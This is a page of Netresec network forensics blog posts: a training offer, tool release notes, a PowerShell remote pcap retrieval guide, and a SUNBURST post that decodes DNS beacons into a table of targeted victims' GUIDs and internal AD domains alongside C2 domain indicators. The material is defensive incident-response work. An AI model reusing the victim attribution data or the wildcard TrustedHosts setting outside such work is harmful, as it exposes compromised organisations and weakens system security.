NETRESEC Network Security Blog - Tag : Netresec

Live Online Training - PCAP in the Morning

Would you like to spend four mornings in May analyzing capture files together with me?

I love the smell of PCAP in the Morning

I have now scheduled a live online network forensics training called “PCAP in the Morning” that will run on May 3-6 (Monday to Thursday) between 8:30 AM and 12:30 PM EDT (US Eastern Daylight Time). We will be analyzing a unique 30GB PCAP data set captured during June 2020 on an Internet connected network with multiple clients, an AD server, a web server, an android tablet and some embedded devices. As you’ve probably guessed, the capture files contains traffic from multiple intrusion by various attackers, including APT style attackers and botnet operators. The initial attack vectors are using techniques like exploitation of web vulnerabilities, spear phishing, a supply chain attack and a man-on-the-side attack!

See our training page for more info about the “PCAP in the Morning” training.

To sign up for my “PCAP in the Morning” class, simply send an email to with your name and invoice address. We will then send you a PayPal payment link that you can use to complete your training registration. The training costs $950 USD per participant, for which you will also get a six month single user license for NetworkMiner Professional and CapLoader.

Hope to see you there!

Erik H

Erik Hjelmvik
Creator of NetworkMiner and founder of Netresec

Posted by Erik Hjelmvik on Friday, 19 March 2021 14:03:00 (UTC/GMT)

Tags: #Netresec #PCAP #Training #Network Forensics

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Finding Targeted SUNBURST Victims with pDNS

Our SunburstDomainDecoder tool can now be used to identify SUNBURST victims that have been explicitly targeted by the attackers. The only input needed is passive DNS (pDNS) data for subdomains.

Companies and organizations that have installed trojanized a SolarWinds Orion update containing the SUBURST backdoor will send DNS queries for seemingly random subdomains of Some of these DNS queries actually contain the victim's internal AD domain encoded into the subdomain, as explained in our blog post Reassembling Victim Domain Fragments from SUNBURST DNS.

Three Stages of SUNBURST Backdoor Operation

Most SUNBURST victims were luckily not targeted by the attackers. This means that the backdoor never made it past "STAGE1" of the infection process. Nevertheless, the attackers did choose to proceed to "STAGE2" with some victims. As explained in FireEye's blog post SUNBURST Additional Technical Details, the "C2 coordinator" can proceed to the next stage by responding with a DNS A record pointing to an IP address within any of these three ranges:


According to FireEye's "Diagram of actor operations and usage of SUNBURST", the decision to proceed to the next stage is based upon whether or not the victim's internal AD domain is "interesting to attack".

Note: "STAGE2" is referred to as "associated mode" in FireEye's blog post.

SUNBURST backdoors that have entered STAGE2 will allow CNAME records in DNS responses to be used as new C2 domains.

Sunburst stages 1 to 3 (passive, associated and active)

We have discovered that the SUNBURST backdoor actually uses a single bit in the queried subdomain in order to flag that it has entered STAGE2 and is accepting new C2 domains in CNAME records. This bit is called flag, ext or dnssec in the malicious SUNBURST implant and can be extracted from DNS queries that have an encoded timestamp, such as those indicating which security products that are installed.

Detecting STAGE2 DNS Requests

Our SunburstDomainDecoder tool has now been updated to include a "STAGE2" tag in the output for DNS queries containing this stage 2 flag. This means that organizations like national CERTs, who perform incident response coordination and victim notification, can now use SunburstDomainDecoder in order to identify and notify targeted SUNBURST victims that have entered STAGE2.

Here's the output we get when feeding SunburstDomainDecoder with Bambenek's uniq-hostnames.txt passive DNS data and only displaying lines containing "STAGE2":

SunburstDomainDecoder.exe < uniq-hostnames.txt | findstr STAGE2
22334A7227544B1E 2020-09-29T04:00:00.0000000Z,STAGE2 5qbtj04rcbp3tiq8bo6t
FC07EB59E028D3EE 2020-06-13T09:00:00.0000000Z,STAGE2 6a57jk2ba1d9keg15cbg
1D71011E992C3D68 2020-06-11T22:30:00.0000000Z,STAGE2 7sbvaemscs0mc925tb99
F90BDDB47E495629 2020-06-13T08:30:00.0000000Z,STAGE2 gq1h856599gqh538acqn
DB7DE5B93573A3F7 2020-06-20T02:30:00.0000000Z,STAGE2 ihvpgv9psvq02ffo77et
3C327147876E6EA4 2020-07-22T17:00:00.0000000Z,STAGE2 k5kcubuassl3alrf7gm3
3C327147876E6EA4 2020-07-23T18:30:00.0000000Z,STAGE2 mhdosoksaccf9sni9icp

Most of these subdomains are listed in FireEye's Indicator_Release_NBIs.csv file as having CNAME pointers to other SUNBURST C2 domains like: freescanonline[.]com, deftsecurity[.]com and thedoccloud[.]com. But the first domain, with GUID 22334A7227544B1E, was actually not part of FireEye's IOC data.

Even more STAGE2 domains and GUID values can be found by analyzing other passive DNS resources, such as this passive DNS dump on pastebin by Rohit Bansal.

curl -s | SunburstDomainDecoder.exe | findstr STAGE2
E258332529826721 2020-07-18T05:00:00.0000000Z,STAGE2 1dbecfd99ku6fi2e5fjb
2039AFE13E5307A1 2020-05-30T14:30:00.0000000Z,STAGE2 4n4vte5gmor7j9lpegsf
22334A7227544B1E 2020-09-29T04:00:00.0000000Z,STAGE2 5qbtj04rcbp3tiq8bo6t
FC07EB59E028D3EE 2020-06-13T09:00:00.0000000Z,STAGE2 6a57jk2ba1d9keg15cbg
1D71011E992C3D68 2020-06-11T22:30:00.0000000Z,STAGE2 7sbvaemscs0mc925tb99
1D71011E992C3D68 2020-06-11T22:30:00.0000000Z,STAGE2 7sbvaemscs0mc925tb99
F90BDDB47E495629 2020-06-13T08:30:00.0000000Z,STAGE2 gq1h856599gqh538acqn
F90BDDB47E495629 2020-06-13T08:30:00.0000000Z,STAGE2 gq1h856599gqh538acqn
DB7DE5B93573A3F7 2020-06-20T02:30:00.0000000Z,STAGE2 ihvpgv9psvq02ffo77et
DB7DE5B93573A3F7 2020-06-20T02:30:00.0000000Z,STAGE2 ihvpgv9psvq02ffo77et
3C327147876E6EA4 2020-07-23T18:30:00.0000000Z,STAGE2 mhdosoksaccf9sni9icp

After removing the domains already present in FireEye's IOC we're left with the following FQDN's that have been requested by SUNBURST backdoors in STAGE2:


Update January 7, 2021

Paul Vixie kindly shared his SunburstDomainDecoder output on Twitter yesterday. Paul's results show that the victim with GUID FC07EB59E028D3EE, which corresponds to the "[.]com" CNAME entry in FireEye's IOC, was Pima County. This means that 3C327147876E6EA4 is the only GUID among the CNAME records published by FireEye that cannot yet be tied to a victim organization. Paul's data also reveals two new STAGE2 victim GUIDs (65A28A36F24D379D and 8D2267C5A00796DA).

Update January 12, 2021

With help of SunburstDomainDecoder 1.9 and passive DNS data from Dancho Danchev we've been able to verify that Palo Alto have installed the maliocous SUNBURST backdoor and that it entered into STAGE2 opreration on September 29, 2020. Palo Alto's CEO Nikesh Arora has confirmed that they were hit by SUNBURST (or "SolarStorm" as they call it).

Update January 25, 2021

On December 17 VriesHd tweeted a link to a Google Docs spreatsheet containing aggregated SUNBURST DNS request data.

Might be helpfull with the SolarWinds/SUNBURST data to combine one another, so here's all the data (subdomain, region, first seen date, decrypted DGA) that I'm personally aware of in a Google sheet atm. Feel free to comment with new or updated information

One month later VriesHd made some substatial additions to the "SB2" spreadsheet, which by then contained several new STAGE2 victims. We have since then actively been trying to reach out to the targeted organizations, either directly or through CERT organizations, who perform incident response coordination and help with the victim notification process. VriesHd's passive DNS collection has now been incorporated into the SUNBURST STAGE2 Victim Table below.

Targeted SUNBURST Victims

Here's a summary of the STAGE2 beacons from SUNBURST victims that can be extracted from publicly available data:

GUID Subdomain Timestamp (UTC) AD Domain
FF1E34A864BCE106 dh1usc8287hr46bia74a 2020-05-14 14:30 nsanet.local
E5E2AD2B6DE697D6 70fov85qclvubqhf9vlh 2020-05-16 19:30
FF1E34A864BCE106 2die0g7i5kgkki628gaj 2020-05-18 11:30 nsanet.local
3E8DF7FF13FC8D38 7hpaqi751fqoei2fdv8m 2020-05-18 16:30 HQ.FIDELIS
FF1E34A864BCE106 tsem12v1rn620hatfol2 2020-05-20 14:30 nsanet.local
FF1E34A864BCE106 a0hmuoveln2400sfvf6n 2020-05-20 16:30 nsanet.local
0C1A5A27B297FE46 k0biaol9fc84ummfn7vi 2020-05-26 11:30
A887B592B7E5B550 m4apr0vu9qnomtun3b9t 2020-05-26 20:00 WincoreWindows.local
2039AFE13E5307A1 4n4vte5gmor7j9lpegsf 2020-05-30 14:30
06A4EA63C80EE24A 9q5jifedn8aflr4ge3nu 2020-05-31 12:00
9850F550BD1010F2 gth7uravpvaapoi86834 2020-05-31 20:00
E5E2AD2B6DE697D6 8k56mm0b876uvf5e7rd3 2020-06-01 19:00
2039AFE13E5307A1 laog1ushfp80e3f18cjg 2020-06-03 01:30
06A4EA63C80EE24A ntlcvjpqc57t9kb8ac75 2020-06-03 23:30
1D71011E992C3D68 7sbvaemscs0mc925tb99 2020-06-11 22:30
F90BDDB47E495629 gq1h856599gqh538acqn 2020-06-13 08:30
FC07EB59E028D3EE 6a57jk2ba1d9keg15cbg 2020-06-13 09:00
583141933D242B0D f25k66k5hu68fneu7ocd 2020-06-16 06:00 logitech.local
52CE2BAFD69B2D0E f2co92njkm9od5eu7btg 2020-06-16 18:30
FACC72E2207CD69F rkspr9a19fl8r5ipggi1 2020-06-17 01:00 fox.local
3256C1BCAF74B5FC p0a7jjdp4eq9o2vok1mt 2020-06-18 07:00
92DC5436D54898CD lusq9mg6j1e3jii5f66o 2020-06-18 17:30
DB7DE5B93573A3F7 ihvpgv9psvq02ffo77et 2020-06-20 02:30
59956D687A42F160 o49qi0qbfm37o6jul639 2020-06-23 06:00 wctc.msft
123EDA14721C3602 p5iokg3v9tntqcbo77p2 2020-06-29 08:30
123EDA14721C3602 84v0j8kkbvqf8ntt4o9f 2020-06-30 10:30
2F52CFFCD8993B63 0tvuasje2vc2i2413m6i 2020-07-01 16:30 mgt.srb.europa*
65A28A36F24D379D 7u32o0m6ureci8h5eo6k 2020-07-02 01:00
2F52CFFCD8993B63 en1clufg22h2uca27ro3 2020-07-03 06:00 mgt.srb.europa*
2F52CFFCD8993B63 s2r15kp335mnlq65i6ce 2020-07-03 09:00 mgt.srb.europa*
DB4013DDA16F6A40 up1vj67jjj9tpvceu7ak 2020-07-08 01:00 los.local
123EDA14721C3602 l0vos8o9m5p3m8of7g96 2020-07-10 22:00
E5E2AD2B6DE697D6 8kr7r16da442u75egv1s 2020-07-15 14:00
A13731B17632C726 ttj6cro8jm6cfma8noo7 2020-07-17 12:30
E5E2AD2B6DE697D6 gh1so69rl1sgrgf38gr5 2020-07-17 15:00
E258332529826721 1dbecfd99ku6fi2e5fjb 2020-07-18 05:00
123EDA14721C3602 epm95unblvj984s2ovqh 2020-07-22 11:00
3C327147876E6EA4 k5kcubuassl3alrf7gm3 2020-07-22 17:00
3C327147876E6EA4 mhdosoksaccf9sni9icp 2020-07-23 18:30
F2C9AC93206ABF47 onpqb88oq440lq82p7lb 2020-07-24 05:00
123EDA14721C3602 0qthjq50jbdvnjq16o8f 2020-07-27 17:00
123EDA14721C3602 gu6r7k260p6afq3ticso 2020-07-28 17:30
936F78AB73AA3022 i4d2krbn2f92jo3uj8r9 2020-08-04 05:00
936F78AB73AA3022 et2gu9tg5ckrsvaj5bom 2020-08-05 06:00
22334A7227544B1E 5qbtj04rcbp3tiq8bo6t 2020-09-29 04:00 paloaltonetworks*

Sources: John Bambenek, Joe Słowik, Rohit Bansal, Dancho Danchev , Paul Vixie, FireEye and VriesHd.

Identifying More SUNBURST STAGE2 Victims

Companies and organizations with access to more passive DNS resources will hopefully be able to use SunburstDomainDecoder to identify additional targeted SUNBURST victims that have progressed to STAGE2.

Download SunburstDomainDecoder

Our tool SunburstDomainDecoder is released under a Creative Commons CC-BY license, and can be downloaded here:

You can also read more about SunburstDomainDecoder in our blog post Reassembling Victim Domain Fragments from SUNBURST DNS.

Posted by Erik Hjelmvik on Monday, 04 January 2021 21:11:00 (UTC/GMT)

Tags: #Netresec #pDNS #SUNBURST #SolarWinds #Solorigate #SunburstDomainDecoder #SolarStorm #STAGE2 #avsvmcloud #C2

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

PolarProxy 0.8.16 Released

PolarProxy 0.8.16 We are happy to announce a new release of the TLS decryption tool PolarProxy. The new version has been updated to support features like client certificates and a PCAP-over-IP connector.

Client Certificates

PolarProxy now supports client-authenticated TLS handshakes for outgoing connections to support sites that require mutual TLS (mTLS) authentication. The following example uses the PKCS#12 client certificate "client.p12" with password "pwd" to authenticate PolarProxy when connecting to "":

./PolarProxy -p 10443,80,443 --clientcert

Thanks to Peter Lambrechtsen for the idea!

Bypassing Decryption for Specific Domains

There are situations when it isn't appropriate to decrypt the traffic passing through PolarProxy. The traffic might, for example, contain personal or confidential information. It might also not be possible to decrypt the traffic for technical reasons, such as when clients use certificate pinning or certificate transparency to validate the server certificate. We therefore recommend that such sites are put on a "bypass" list, i.e. a list of domains for which PolarProxy should let the encrypted traffic pass untouched to preserve the end-to-end encryption between the client and server.

PolarProxy's "--bypass <file>" option, which can be used to provide a regular expression list of domains not to decrypt, has now been acompanied by "--bypassexact <file>". The new --bypassexact option simply matches domains against the lines in <file> using string matching of the full domain name, no fancy-pants regex involved.

PCAP-over-IP Client

The new "--pcapoveripconnect" option can be used to let PolarProxy connect to a PCAP-over-IP listener and send it a live PCAP stream of decrypted traffic over TCP. This option complements PolarProxy's "--pcapoverip" option, which sets up a PCAP-over-IP listener that serves clients with the same PCAP stream. Thanks to Andy Wick for suggesting adding a PCAP-over-IP connector to PolarProxy!

The following command instructs PolarProxy to send a live PCAP stream with decrypted traffic to a local PCAP-over-IP listener:

./PolarProxy -p 10443,80,443 --pcapoveripconnect

PolarProxy will automatically attempt to re-establish the PCAP-over-IP connection every 10 seconds if it goes down or cannot be established for some reason.

Only Store Packets When Instructed

PolarProxy no longer writes hourly rotated pcap files with decrypted packets to disk unless explicitly instructed to do so with "-o <directory>" or "-w <file>".

Flushing Buffered Packets to Disk

PolarProxy now periodically flushes buffered packets to disk every 60 seconds. The flush interval can be controlled with the "--autoflush <seconds>" option. The auto flush can also be disabled with "--autoflush 0".

No More Out-of-Quota Issues

We have also improved the quota handling for our privileged users, who have a license key that allows them to decrypt more than 10 GB or 10 000 TLS sessions per day. You should now be able to use your full daily quota without issues!

Posted by Erik Hjelmvik on Monday, 30 November 2020 07:45:00 (UTC/GMT)

Tags: #Netresec #PolarProxy #PCAP #TLS #PCAP-over-IP #pcapoverip #certificate

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

RawCap Redux

RawCap A new version of RawCap has been released today. This portable little sniffer now supports writing PCAP data to stdout and named pipes as an alternative to saving the captured packets to disk. We have also changed the target .NET Framework version from 2.0 to 4.7.2, so that you can run RawCap on a modern Windows OS without having to install a legacy .NET Framework.

Here’s a summary of the improvements in the new RawCap version ( compared to the old version (

  • Uses .NET 4.7.2 instead of 2.0
  • Support for writing to stdout
  • Support for writing to named pipes
  • Large (64 MB) ring buffer to prevent packet drops
  • Automatic firewall configuration

Out of the software we develop and maintain here at Netresec, NetworkMiner is the most popular one. But you’re probably not aware that RawCap is our second most popular tool in terms of downloads, with around 100 unique downloads every day. RawCap started out as just being a quick hack that we released for free to the community in 2011 without expecting it to gain much attention. However, it quickly gained popularity, maybe due to the fact that it’s just a tiny .exe file and that it doesn’t require any external libraries or DLL’s to sniff network traffic (other than the .NET Framework).

RawCap embraces the Unix philosophy to do only one thing, and do it well. Thanks to RawCap’s simplicity we have only needed to make a few minor updates of the tool since its first release 9 years ago. However, today we’re finally adding some new features that have been requested by users over the years. One such feature is that RawCap now automatically creates a Windows firewall rule when the tool is started. Before this feature was introduced users would have to run wf.msc (i.e. the "Windows Defender Firewall with Advanced Security") and manually create an inbound rule to allow RawCap.exe to receive incoming traffic. Without such a firewall rule RawCap would only be able to capture outgoing traffic.

RawCap can be started in two different modes. Either as an interactive console application, or as a “normal” command line utility. Run RawCap.exe without any arguments, or simply double click the RawCap.exe icon to use the interactive mode. You will then be asked which interface to capture packets from and what filename you’d like to save them to.

Network interfaces:
0.    Local Area Connection
1.    Wireless Network Connection
2.   3G UMTS Internet
3.   VMware Network Adapter VMnet1
4.   VMware Network Adapter VMnet2
5.       Loopback Pseudo-Interface
Select network interface to sniff [default '0']: 1
Output path or filename [default 'dumpfile.pcap']:
Sniffing IP :
Output File : dumpfile.pcap
 --- Press [Ctrl]+C to stop ---
Packets     : 1337

The other alternative is to supply all the arguments to RawCap when it is started. Use “RawCap --help” to show which arguments you can use. You’ll need to use this mode if you want to write the captured traffic to standard output (stdout) or a named pipe, or if you want RawCap to automatically stop capturing after a certain time or packet count.

F:\Tools>RawCap.exe --help
NETRESEC RawCap version

Usage: RawCap.exe [OPTIONS] <interface> <pcap_target>
 <interface> can be an interface number or IP address
 <pcap_target> can be filename, stdout (-) or named pipe (starting with \\.\pipe\)

 -f          Flush data to file after each packet (no buffer)
 -c <count>  Stop sniffing after receiving <count> packets
 -s <sec>    Stop sniffing after <sec> seconds
 -m          Disable automatic creation of RawCap firewall entry
 -q          Quiet, don't print packet count to standard out

 0.     IP        :
        NIC Name  : Local Area Connection
        NIC Type  : Ethernet

 1.     IP        :
        NIC Name  : WiFi
        NIC Type  : Wireless80211

 2.     IP        :
        NIC Name  : Loopback Pseudo-Interface 1
        NIC Type  : Loopback

 3.     IP        :
        NIC Name  : Mobile 12
        NIC Type  : Wwanpp

Example 1: RawCap.exe 0 dumpfile.pcap
Example 2: RawCap.exe -s 60 localhost.pcap
Example 3: RawCap.exe \\.\pipe\RawCap
Example 4: RawCap.exe -q - | Wireshark.exe -i - -k

As you can see, running “RawCap.exe -s 60 localhost.pcap” will capture packets from localhost to a file called “localhost.pcap” for 60 seconds and then exit.

There are a couple of drawbacks with the new RawCap version though, it is a larger binary (48kB instead of 23kB) and it uses more CPU and RAM compared to the old version. We will therefore continue making the old RawCap version available to anyone who might need it.

Visit the RawCap product page to download this tool and learn more.

Posted by Erik Hjelmvik on Thursday, 30 January 2020 14:32:00 (UTC/GMT)

Tags: #Netresec #RawCap #sniffer #PCAP #named pipe #Wireshark #WiFi #loopback #

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Remote Packet Dumps from PacketCache

PacketCache logo

This blog post describes how to dump a packet capture (pcap file) on a remote computer, which runs the PacketCache service, and retrieve that pcap file using only PowerShell.

PacketCache is a free Windows service that continously sniffs network traffic on all interfaces (Ethernet, WiFi, 3G, LTE etc) and maintains a cache of the most recent traffic in RAM. This enables incident responders to read PCAP data out of a PC's PacketCache, for example when an IDS or anti-virus alerts on something potentially malicious. Unfortunately, there is no central management tool for PacketCache, which means that the PCAP data has to be dumped locally at the PC that triggered the IDS or AV alert.

There are a few workarounds "hacks" available to solve this problem, but the most elegant solution is to leverage PowerShell Remoting / WinRM in order to trigger a remote PacketCache instance to create a PCAP file and then copy the PCAP file through the same PowerShell session. To make things even simpler we've created a PowerShell script that can be used to download a PCAP file from any machine running PacketCache. Okay, maybe not *any* machine, the script only works on PCs that you have admin credentails for. Nevertheless, here's how you run the script from a PowerShell prompt:

PS C:\> .\ReadRemotePacketCache.ps1 DESKTOP-LT4711 Administrator
[*] Dumping PacketCache at DESKTOP-LT4711
[*] Copying PCAP dump from DESKTOP-LT4711
[*] Remote PacketCache data saved to DESKTOP-LT4711_181112_1337.pcap
PS C:\>

The ReadRemotePacketCache.ps1 script can be downloaded from the PacketCache product page.

Configuring Hosts for PowerShell Remoting

If you have not previously set up your environment for PowerShell remoting, then you will need to follow these steps before invoking the "ReadRemotePacketCache.ps1" script as above.

On the remote PC, start PowerShell as administrator and enable PowerShell remoting with the "Enable-PSRemoting" command as shown here:

PS C:\> Enable-PSRemoting -SkipNetworkProfileCheck -Force
WinRM has been updated to receive requests.
WinRM service type changed successfully.
WinRM service started.

WinRM has been updated for remote management.
WinRM firewall exception enabled.
Configured LocalAccountTokenFilterPolicy to grant administrative rights remotely
to local users.

PS C:\>

Configuring TrustedHosts for Workgroups

You will also need to set up a trust relationship between the local and remote host. If the remote PC is member of an Active Directory domain, then this trust is already in place. However, if you're in a workgroup or the computers are not in the same domain, then you will need to set the TrustedHosts item like this on both the local PC and the remote PC:

PS C:\> Set-Item WSMan:\localhost\Client\TrustedHosts [IP or Hostname of the other PC]
PS C:\> Get-Item WSMan:\localhost\Client\TrustedHosts
PS C:\> Restart-Service WinRM

Note: if you need to dump PacketCache data from several remote hosts, then you can replace the IP/hostname with '*' to trust any PC or supply a comma separated list of individual hostnames or IPs to trust.

If you've configured TrustedHosts correctly, then you should be able to run the "ReadRemotePacketCache.ps1" script as shown previously. However, if the remote PC isn't in TrustedHosts, then you'll most likely get an error message like this:

PS C:\> .\ReadRemotePacketCache.ps1 Administrator
New-PSSession : [] Connecting to remote server failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.

Automating Remote Artifact Collection

With PowerShell remoting in place you're not limited to just dumping packets from a remote PacketCache service, you can also dump the RAM or copy individual files from the remote computer. This comes in handy in order to implement an automated evidence/artifact collection, for example when a high-severity alert is received by your SIEM.

There are frameworks in place that can help with aquisition of memory and files, such as Matthew Green's Invoke-LiveResponse tool, which can dump memory with WinPMEM and leverage PowerForensics to enable remote raw disk access. Some organizations even start sniffing packets at events like this, but this will only capture the traffic from after a potential compromize. This is where PacketCache comes in, since it can allow you to retrieve packets ranging back as far as a couple of days before the alert.

Credential Theft

It is recommended to use unique passwords for each local account with administrator rights. This practice is extra important if you plan to log into a potentially compromized host using administrator credentails, as described in this blog post. You might also want to lock down the local admin accounts even further in order to minimize the consequences of the admin credentials falling into the wrong hands. See Microsoft's articles on "Local Accounts" and "Attractive Accounts for Credential Theft" for more recommendations regarding how to secure local admin accounts.

PacketCache is Free

CC BY-ND PacketCache is free to use, even commercially. It is released under a Creative Commons Attribution-NoDerivatives 4.0 International License, which means that you can copy and redistribute PacketCache in any medium or format for any purpose. You can download PacketCache here:

The PowerShell script presented in this blog post is also shared under the same CC license and can be downloaded from the PacketCache product page.


I'd like to thank Dick Svensson for suggesting the use of PowerShell Remoting to read PacketCache data remotely!

Posted by Erik Hjelmvik on Wednesday, 14 November 2018 08:00:00 (UTC/GMT)

Tags: #Netresec #PCAP #PacketCache #Windows

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner 2.3.2 Released!

NetworkMiner 2.3.2 was released this morning, and there was much rejoicing!

Image: U.S. Navy photo by Stuart Phillips (source)

This new release primarily fixes bugs related to extraction of emails and VoIP calls. We have also corrected a bug affecting the json/CASE export function in NetworkMiner Professional.

The OSINT domain name lookup in NetworkMiner Professional has also been extended with the Certificate Search and DNSTrails has been replaced with SecurityTrails.

NetworkMiner Professional 2.3.2 Image: NetworkMiner Professional 2.3.2 with “vm_win7.pcap” from University of Twente’s Data Exfiltration Malware dataset loaded.


NetworkMiner 2.3.2

We’d like to thank Carlos Kasprzykowski for notifying us about the VoIP bug, which caused lots of files to be written to the %TEMP% directory when there were more than 50 simultaneous SIP+RTP calls. We also wanna thank Josh Wilczek for reporting a bug in the “User Defined Port-to-Protocol Mappings” in NetworkMiner Professional’s Settings window, which also has been fixed in the 2.3.2 release.

Upgrading to Version 2.3.2

Users who have purchased a license for NetworkMiner Professional 2.x can download a free update to version 2.3.2 from our customer portal. Those who instead prefer to use the free and open source version can grab the latest version of NetworkMiner from the official NetworkMiner page.


Posted by Erik Hjelmvik on Monday, 27 August 2018 09:23:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #RTP #VoIP #SIP #email #CASE

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner 2.3 Released!

The free and open source network forensics tool NetworkMiner now comes with improved extraction of files and metadata from several protocols as well as a few GUI updates. But the biggest improvements for version 2.3 are in the commercial tool NetworkMiner Professional, which now supports VoIP call audio extraction and playback as well as OSINT lookups of file hashes, IP addresses, domain names and URLs.

I’m happy to announce that NetworkMiner 2.3 now does an even better job than before at extracting files and metadata from several protocols. Improvements have been made in the parsers for the following protocols: HTTP, IEC-104, IPv4, Modbus, SIP, SMB, SMB2, SMTP and SSL/TLS.

We have also added support for the SNMP protocol in NetworkMiner 2.3, so that SNMP community strings can be extracted and displayed on the Parameters and Credentials tabs.

SNMP Community Strings in NetworkMiner's Credential tab

Another change is that timestamps are now displayed using the UTC time zone instead of using the local time zone. We have also fixed a few GUI quirks in order to further improve the usability of the tool.

NetworkMiner Professional

The commercial version of NetworkMiner, i.e. NetworkMiner Professional, comes with several additional improvements which are presented below.

VoIP Call Playback

NetworkMiner Professional has received a new tab called “VoIP”, which enables audio playback of VoIP calls that are using SIP and RTP with G.711 μ-law or A-law encoding (u-Law is primarily used in North America and Japan while A-law is used in Europe and most other parts of the world).

Video: Audio playback and extraction to WAV from the “SIP_CALL_RTP_G711” PCAP file in the Wireshark Sample Captures.

The audio streams from the VoIP calls are also extracted to disk as .WAV files when codecs G.729 or G.711 (u-Law and A-Law) is used. NetworkMiner Professional also attempts to reassemble RTP streams encoded with G.722 to .au files.

OSINT Lookups of IP Addresses, Domains, URLs and File Hashes

Right-clicking a network host in NetworkMiner Professional’s Hosts tab brings up a context menu with options for performing lookups of IP and domain names using external sources. We refer to this method as open-source intelligence (OSINT) because the accessed data resides at publicly available sources.

OSINT IP lookup in NetworkMiner Professional 2.3

Clicking on an OSINT provider brings up a webpage with more detailed information about the selected IP address, such as IBM X-Force, mnemonic Passive DNS, Shodan, UrlQuery or VT. However, if you’re lazy like me, then you’ll probably click the “All above!” option instead, which will bring up all of the sources in separate tabs in your browser.

The full list of OSINT providers available for IP lookups includes APNIC Whois, BFK Passive DNS, Censys, Cymon, DNSTrails, ExoneraTor, Google Public DNS,, Hurricane Electric, IBM X-Force, Internet Storm Center, mnemonic Passive DNS, PacketTotal, Shodan, ThreatCrowd, ThreatMiner, UrlQuery and VirusTotal.

The domain name lookup menu contains a similar set of providers: BFK Passive DNS, Cymon, DNSTrails, Google Public DNS, Google Safe Browsing, Hybrid Analysis, IBM X-Force Exchange, mnemonic Passive DNS, MXToolBox, MyWOT, Norton Safe Web, PacketTotal, ThreatCrowd, ThreatMiner, URL Void, UrlQuery, VirusTotal, Website Informer, Webutation and Whoisology.

OSINT URL lookup in NetworkMiner Professional 2.3

Right-clicking a URL in the Browsers tab brings up a similar context menu, which additionally includes the following services for URL lookups: Google Safe Browsing, IBM X-Force, ThreatMiner, URLhaus and UrlQuery.

OSINT file hash lookup in NetworkMiner Professional 2.3

Finally, right-clicking on one of the files that NetworkMiner has extracted from a PCAP file brings up a menu for doing OSINT lookups based on the MD5 or SHA256 hash of the file. The sources used for lookups of hashes include IBM X-Force, PacketTotal, ThreatCrowd, TotalHash, UrlQuery,, Comodo Valkyrie, AlienVault OTX, Hybrid Analysis, ThreatMiner and VirusTotal.

Hybrid Analysis API Integration

Did you know that the malware analysis service Hybrid Analysis provides free API keys to people in the IT security community?

@HybridAnalysis: We are excited to announce that full API keys for file submissions are now available to everyone of the IT security community

This is a great move by the Hybrid Analysis team, and we’re happy to announce that we have leveraged their API in NetworkMiner Professional in order to submit files for analysis directly from within the NetworkMiner GUI. The API integration also enables you to query for an IP on Hybrid Analysis to see which previously submitted samples has communicated with that particular IP address.

Here are the steps required to enable the Hybrid Analysis API integration:


I would like to thank Chris Sistrunk, Mats Karlsson and Michael Nilsson for suggesting several of the protocol and GUI improvements that have been incorporated into this new release. I’d also like to thank Doug Green and Ahmad Nawawi for discovering and reporting bugs in the IP and SSL parser respectively.

Upgrading to Version 2.3

Users who have purchased a license for NetworkMiner Professional 2.x can download a free update to version 2.3 from our customer portal.

Those who instead prefer to use the free and open source version can grab the latest version of NetworkMiner from the official NetworkMiner page.


Posted by Erik Hjelmvik on Tuesday, 03 April 2018 06:27:00 (UTC/GMT)

Tags: #NetworkMiner #PCAP #OSINT #SMTP #SIP #RTP #VoIP #Network Forensics #extract #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Examining Malware Redirects with NetworkMiner Professional

This network forensics video tutorial covers analysis of a malware redirect chain, where a PC is infected through the RIG Exploit Kit. A PCAP file, from Brad Duncan's website, is opened in NetworkMiner Professional in order to follow a redirect chain via a couple of hacked websites before delivering malware to the PC.

Meadgive on VirusTotal
CVE-2014-0569 Flash Exploit on VirusTotal
CVE-2012-0507 Java Exploit on VirusTotal
NetworkMiner Professional


Check out our series of network forensic video tutorials for more tips and tricks on how to analyze captured network traffic.

Posted by Erik Hjelmvik on Monday, 26 February 2018 11:19:00 (UTC/GMT)

Tags: #Netresec #Professional #NetworkMiner #malware_traffic #malware #NSM #PCAP #videotutorial #video #tutorial

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Analyzing Kelihos SPAM in CapLoader and NetworkMiner

This network forensics video tutorial covers how to analyze SPAM email traffic from the Kelihos botnet. The analyzed PCAP file comes from the Stratosphere IPS project, where Sebastian Garcia and his colleagues execute malware samples in sandboxes. The particular malware sample execution we are looking at this time is from the CTU-Malware-Capture-Botnet-149-2 dataset.


6c55 5545 0310 4840

Check out our series of network forensic video tutorials for more tips and tricks on how to analyze captured network traffic.

Posted by Erik Hjelmvik on Monday, 19 February 2018 06:37:00 (UTC/GMT)

Tags: #Netresec #PCAP #CapLoader #NetworkMiner #videotutorial #video #tutorial #NetFlow #extract #Stratosphere

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Antivirus Scanning of a PCAP File

This second video in our series of network forensic video tutorials covers a quick and crude way to scan a PCAP file for malware. It's all done locally without having to run the PCAP through an IDS. Kudos to Lenny Hanson for showing me this little trick!

Antivirus Scanning of a PCAP File



Posted by Erik Hjelmvik on Monday, 12 February 2018 08:00:00 (UTC/GMT)

Tags: #Netresec #PCAP #video #tutorial #videotutorial #NetworkMiner #malware #malware_traffic

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Zyklon Malware Network Forensics Video Tutorial

We are releasing a series of network forensics video tutorials throughout the next few weeks. First up is this analysis of a PCAP file containing network traffic from the "Zyklon H.T.T.P." malware.

Analyzing a Zyklon Trojan with Suricata and NetworkMiner


